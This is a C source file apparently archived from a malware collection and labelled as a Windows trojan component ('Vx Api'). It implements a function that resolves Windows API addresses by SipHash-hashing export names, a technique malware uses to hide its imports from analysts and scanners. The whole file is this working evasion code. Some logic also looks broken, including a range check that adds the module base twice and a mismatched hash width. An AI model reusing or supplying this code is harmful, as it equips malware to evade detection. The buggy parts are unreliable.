/*  name      Vx Api  type      trojan  cve       —  year      unknown  os        Windows  authors   unknown  source    krisyotam  archived  krisyotam (2026)  notes     — */#include "Win32Helper.h" DWORD64 __stdcall GetProcAddressSipHash(_In_ DWORD64 ModuleBase, _In_ DWORD64 Hash){    PBYTE pFunctionName = NULL;    PIMAGE_DOS_HEADER Dos = NULL;    PIMAGE_NT_HEADERS Nt = NULL;    PIMAGE_FILE_HEADER File = NULL;    PIMAGE_OPTIONAL_HEADER Optional = NULL;    LDRGETPROCEDUREADDRESS LdrGetProcedureAddress = NULL;    DWORD64 FunctionAddress = ERROR_SUCCESS;    ANSI_STRING ForwardFunctionString = { 0 };     LdrGetProcedureAddress = (LDRGETPROCEDUREADDRESS)LdrLoadGetProcedureAddress();     RtlLoadPeHeaders(&Dos, &Nt, &File, &Optional, (PBYTE*)&ModuleBase);     IMAGE_EXPORT_DIRECTORY* ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ModuleBase + Optional->DataDirectory[0].VirtualAddress);    PDWORD FunctionNameAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNames);    PDWORD FunctionAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfFunctions);    PWORD FunctionOrdinalAddressArray = (PWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNameOrdinals);     for (DWORD dwX = 0; dwX < ExportTable->NumberOfNames; dwX++)    {        pFunctionName = FunctionNameAddressArray[dwX] + (PBYTE)ModuleBase;         DWORD dwFunctionHash = HashStringSipHashA((PCHAR)pFunctionName);        if (Hash == dwFunctionHash)        {            FunctionAddress = (DWORD64)ModuleBase + FunctionAddressArray[FunctionOrdinalAddressArray[dwX]];            if (FunctionAddress >= (ModuleBase + Optional->DataDirectory[0].VirtualAddress) &&                FunctionAddress < (ModuleBase + Optional->DataDirectory[0].VirtualAddress) + (ModuleBase + Optional->DataDirectory[0].Size))            {                ForwardFunctionString.Buffer = (PCHAR)pFunctionName;                ForwardFunctionString.Length = (USHORT)StringLengthA((PCHAR)pFunctionName);                ForwardFunctionString.MaximumLength = ForwardFunctionString.Length + sizeof(CHAR);                 if (LdrGetProcedureAddress((HMODULE)ModuleBase, &ForwardFunctionString, 0, &FunctionAddress) != STATUS_SUCCESS)                    return 0;            }             return FunctionAddress;        }    }     return 0;}